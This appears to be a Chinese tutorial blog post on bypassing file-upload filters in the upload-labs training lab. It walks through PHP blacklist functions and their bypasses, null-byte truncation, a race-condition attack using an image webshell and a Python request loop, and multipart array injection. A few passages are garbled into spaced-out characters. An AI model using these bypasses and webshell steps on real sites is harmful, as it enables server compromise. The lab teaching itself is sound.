许多文件上传的题型都涉及代码审计,个人认为这类题型有一定复杂性,同时这也是我不太擅长的点,因此本章节将结合先前博文中介绍过的上传漏洞,先总结出一些解题过关时需要注意的要点,再通过upload-labs-pass 19进行案例演示。
就像去吃火锅调酱料一样,为了调配出自己喜欢的口味,顾客会将多种酱料混合。对于文件上传检测也是这样,往往过滤函数检查的位置不止一处,因此我们在修改数据包进行绕过操作时,需要注意修改的位置有时不止一处,尤其是对MIME类型的检测不可忽略,代码案例如下所示:
#检测MIME类型
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
黑名单之所以被称为不太好的过滤思想是因为其设计基于排除:将不合法后缀名都排除在外。因此,采用黑名单的方式很难不出现漏网之鱼。这里以PHP代码为例,阐述几个函数的功能,在其他语言中也有类似功能的函数供开发者进行调用:
trim()函数
作用:trim() 函数用于移除字符串两侧的空白字符或其他预定义字符。
语法:trim(string,charlist)
其中string不可缺省,其为需要进行过滤的字符串;charlist为可选变量,如果不指定字符作为删除对象,则会默认对一些特殊字符进行删除,包括:“\0” - NULL;“\t” - 制表符;“\n” - 换行;“\x0B” - 垂直制表符; “\r” - 回车;" " - 空格。这个函数针对的是命名中使用空格绕过黑名单的思路
案例:
$file_ext = strrchr($file_name, '.');//截取后缀
$file_ext = strtolower($file_ext); //将后缀转换为小写
$file_ext = trim($file_ext); //对后缀进行首尾去空
假设案例中上传的文件名为shell.pHp(我是空格)
,代码首先会截取字符串中从右往左数第一个.
后面的字符串作为后缀:.pHp(我是空格)
;之后会将后缀字符串转换成小写:.php(我是空格)
;最后利用trim函数,去除首尾的空格得到最终的后缀名.php
。
deldot()函数
作用:删除字符串末尾的.
语法:deldot(string)
string为待处理字符串,一般为文件名。这个函数的作用是防止攻击者利用文件后缀中加入.
的方式来进行黑名单的绕过。
案例:
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//取后缀
$file_ext = strtolower($file_ext); //将后缀转换为小写
$file_ext = trim($file_ext); //对后缀进行首尾去空
假设案例中输入的文件名为shell.php.
第一步,系统就已经删除了上传文件名的最后的.
将文件名变为
shell.php
,此时已经无法通过文件命名来进行黑名单的绕过。
strrchr()函数
作用:strrchr() 函数用于查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。例如该语句中:echo strrchr("Hello world!","w");
输出结果就是从world!
语法:strrchr(string,char)
string表示需要检查的字符串,不可省略;char表示规定要查找的字符。如果该参数是数字,则搜索匹配数字 ASCII 值的字符同样也不可省略。这个函数一般用于截取后缀,以便进行进一步操作。
$file_ext = strrchr($file_name, '.');//取后缀
假设输入为shell.php
那么一开始截取的后缀就为.php
。
strtolower()函数
作用:将所有字符都转换成小写
语法:strtolower(string)
string为需要转换成小写的字符串。这个函数一般针对攻击者采用大小写混编的方式(如:PHp)绕过黑名单。案例如下:
$file_ext = strtolower($file_ext); //转换为小写
假设截取到的后缀为.Php
在此函数的作用下就会变成.php
str_ireplace()函数
作用:对目标字符串中的指定字符进行替换
语法:str_ireplace(find,replace,string,count)
其中find不可缺省,其规定要查找的参数;replace不可缺省,其值用于替换find指定的参数;string表示被搜索的字符串,同样不可缺省;count可缺省,其用于统计替换次数。
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
假设文件后缀为.php::$DATAjpg
如果上传成功::$DATA后的内容不会被解析,也就是说实际服务器中上传了一个php脚本,因此需要对特殊字符进行删除。还是以先前的假设输入为例,进行处理后,文件的后缀会变为:.phpjpg
,虽然大概率还是能够绕过黑名单,但是这个后缀名在不指定服务器解析规则的情况下是无法执行的,该案例中:通过str_ireplace()函数对特殊字符串的过滤,破坏了后门文件的可执行性,保障了web应用的安全性。
该函数另外一个使用案例如下:
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
其中, d e n y e x t 为 黑 名 单 , 假 设 黑 名 单 中 存 在 ‘ p h p ‘ 关 键 字 , 如 果 上 传 的 文 件 为 ‘ s h e l l . p h p ‘ 那 么 p h p 就 会 被 删 除 , 但 是 这 个 删 除 仅 进 行 了 一 次 , 如 果 采 用 关 键 字 穿 插 的 方 式 进 行 绕 过 , 单 次 过 滤 的 方 法 就 会 失 效 , 如 构 造 文 件 名 为 如 下 格 式 : ‘ s h e l l . p p h p h p ‘ , 单 次 过 滤 后 , 文 件 名 就 会 变 为 ‘ s h e l l . p h p ‘ , 同 样 上 一 个 案 例 中 也 能 采 用 将 : : deny_ext为黑名单,假设黑名单中存在`php`关键字,如果上传的文件为`shell.php`那么php就会被删除,但是这个删除仅进行了一次,如果采用关键字穿插的方式进行绕过,单次过滤的方法就会失效,如构造文件名为如下格式:`shell.pphphp`,单次过滤后,文件名就会变为`shell.php`,同样上一个案例中也能采用将:: denyext为黑名单,假设黑名单中存在‘php‘关键字,如果上传的文件为‘shell.php‘那么php就会被删除,但是这个删除仅进行了一次,如果采用关键字穿插的方式进行绕过,单次过滤的方法就会失效,如构造文件名为如下格式:‘shell.pphphp‘,单次过滤后,文件名就会变为‘shell.php‘,同样上一个案例中也能采用将::DATA进行关键字穿插命名的方式进行绕过。
00截断
00截断为白名单相关题型需要注意的重要绕过方式之一,在实战中需要注意站点搭建环境问题(高版本情况下未必成功)。关于00截断相关的知识点,个人认为最重要的的是采取哪种方式进行截断。如果是通过GET方法获得参数,就采用%00截断;如果是通过POST方法获得的参数,就采用十六进制00截断。
GET方法代码案例如下:
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
//get方法获得save_path,拼接上随机数和日期加上先前获取的后缀产生文件上传的路径
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
单看代码显得不是那么的直观,使用burp抓取数据包进行利用
可见,这里代码获取到的save_path为../upload/test.php%00
,假设随机数和日期组合为2420221001,从filename中获取的文件后缀为.jpg;这样一来构造的文件路径为../upload/test.php%002420221001.jpg
如果搭建站点的服务器支持,%00后的内容会被截断----不生效,最终假设上传成功,攻击者就能够通过浏览器访问test.php
解析执行该脚本。
post方法案例如下
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
这里是从post方法中获得save_path,利用方式大同小异,唯一需要注意的点是post方法中不进行编码,因此一种做法是将%00添加到save_path参数中,之后利用工具进行编码。或者写入在路径中写入任意的字母(比如:a),再去HEX视图中对a找到a的所在位置将其hex值修改为00:
代码逻辑漏洞
在许多情况下,开发者会设置一个变量存放临时文件,由于临时文件存在的时间很短,因此往往开发者会疏于过滤,这就给攻击者留下了操作空间。案例如下:
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
代码功能是将临时文件移动到上传路径中,且之前的代码都没有对文件进行过滤,因此可以采用条件竞争的方式:在临时文件被二次渲染或者重命名之前就对其进行访问,解题时需要注意类似temp_file之类的命名方式,以及对于这些temp_file,系统有没有对其进行过滤。利用思路可以概括为:批量发包,重复请求,直到访问临时文件成功。
【注意:代码中出现重命名,二次渲染等对临时文件进行操作的相关内容,就能够尝试这种绕过方法】
【案例来自upload-labs-Pass19】
//----------------------------------index.php--------------------------------------------
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");//require和include函数用法相似,都能将文件作为参数调用
$imgFileName =time();//用当前时间作为文件名
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);//new一个myupload对象
$status_code = $u->upload(UPLOAD_PATH);//得到一个状态码,这个状态码将作为文件上传的判断体的判断条件之一
switch ($status_code) {
case 1://上传成功
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//--------------------------------myupload.php-------------------------------------------
class MyUpload{//这个类中进行文件过滤
......
......
......
//白名单列表
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()方法
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();//文件是否存在
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();//检查后缀
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();//检查文件大小
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
思路一:
根据index中的提示和myupload中的过滤信息,可知临时文件时存在的,且在上传时进行了相对严谨的过滤(包括对文件后缀、文件信息的验证),因此直接上传php脚本在第一步上传临时文件时就会遭到系统的拦截,但万幸的是题干中提供的信息中并没有表示文件被渲染,因此可以制作简单的图片马进行上传,在其被重命名前就利用文件包含漏洞进行访问。简单的梳理一下本关中需要用到的思想:1.利用条件竞争对临时文件提前访问;2.利用文件包含漏洞访问图片马。
思路二:
这个关卡中,上传的图片并没有被渲染,因此上传后的图片马只是被重新命名,而页面中的缩略图是能够被拖拽访问的,并且访问页面中会暴露文件名,因此可以直接进行文件包含利用。
方法1:
任意上传一个正确的文件,分析数据包获得图片上传位置用于文件包含利用脚本的编写:
本关中获取到的文件路径是 ./upload-labs
制作图片马:
创建一个文件夹,在文件夹下保存一个大小适中的图片shell.jpeg,和事先编写好的脚本shell.php
该文件夹下打开终端运行指令:copy shell.jpeg/b+shell.php/a muma.jpg
生成后门图片马
这里后门脚本的逻辑是执行成功就在服务器上特定写入一个shell.php
脚本,后门代码如下:
file_put_contents('shell.php','');?>
编写python脚本,批量访问文件包含位置:
import requests
#文件包含地址
url = 'http://127.0.0.1/upload-labs/include.php?file=muma.jpg'
#循环写死不断访问
while True:
html = requests.get(url)
#成功访问跳出循环否则不断打印NO
if ('Warning' not in str(html.text)):#注意这里文本中W需要大写
print('OKAY')
break
else:
print('NO')
burp工具intruder模块设置多线程发包(repeater模块重放也可以,如果不嫌手酸),与此同时执行python脚本。出现OKAY表示成功,之后访问脚本即可
方法2:
./upload-labs/upload1197879.jpg
http:127.0.0.1/upload-labs/include.php?file=upload1197879.jpg
此类文件上传漏洞一般出现在需要对上传文件进行自定义重命名的地方,如下图所示:
由于用户可以对其进行重命名,可以自定义,在采用黑名单的情况下可以尝试绕过案例如下:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];//获取用户输入的save_name
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {//后缀不在黑名单中
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
pathinfo(path,options)
其中path必需。规定要检查的路径。
可选。规定要返回的数组元素。默认是 all。
利用这个函数的机制,可以尝试进行绕过:用户将文件名命名为shell.php/.
这样一来可以将文件伪装成上一级文件夹,且由于文件命名机制,/.
并不会生效,实际系统中保存的文件名为shell.php
上传成功,访问脚本shell.php
即可
本关中需要代码审计,题干如下
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名,post中为空就用upload中的文件名,不为空就用save_name中的文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
//explode函数用于分割字符串,如下代码作用是根据'.'分割文件名
$file = explode('.', strtolower($file));
}
$ext = end($file);//输出最后一个元素的值
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
函数解释
explode()
作用:把字符串打散为数组;
$str = "www.xxxx.com";
print_r (explode(".",$str));
上述代码执行结果:
Array
(
[0] => www
[1] => xxxx
[2] => com
)
回到本题的解法
$file = explode('.', strtolower($file));
这段代码中file参数从post中的post正文里的save_name获取,也就是说借助pass20中的灵感,也许我们可以构造类似于shell.php/.png
这样的文件名进行绕过
审计重命名代码
$file_name = reset($file) . '.' . $file[count($file) - 1];
这里是获取file数组中的第一个元素作为文件名称,后缀则是数组中最后一个元素,因此只是单纯的命名绕过无法绕过,shell.php/.png
为例
Array
(
[0] => shell
[1] => php/
[2] => png
)
最后得到的文件是png格式,如果不利用文件包含无法解析
但是本关考察的不是文件包含漏洞,因此这里引入一个知识点:在数据包中构造数组进行绕过,操作如下:
1.修改MIME类型
2.构造数组
-----------------------------391152973623606915292298545755
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
-----------------------------391152973623606915292298545755
Content-Disposition: form-data; name="save_name[0]"
shell.php
-----------------------------391152973623606915292298545755
Content-Disposition: form-data; name="save_name[2]"
png
-----------------------------391152973623606915292298545755
Content-Disposition: form-data; name="submit"
涓婁紶
-----------------------------391152973623606915292298545755--
这样修改数据包,可以破坏数组接收的逻辑:可以发现这样的构造下 f i l e = s a v e n a m e 数 组 中 实 际 只 有 两 个 元 素 , 因 此 s i z e ( file=save_name数组中实际只有两个元素,因此size( file=savename数组中实际只有两个元素,因此size(file)=2,所以后缀应该从save_name[1]中获取,但是这里人为的没有指定save_name[1],因此获取不到值,而save_name[2]刚好又对应了end($file)取后缀的操作,因此能够达到绕过的目的。在这样的操作下,最终上传的文件为shell.php
至此upload-labs的题目类型已经全部完成,本章完。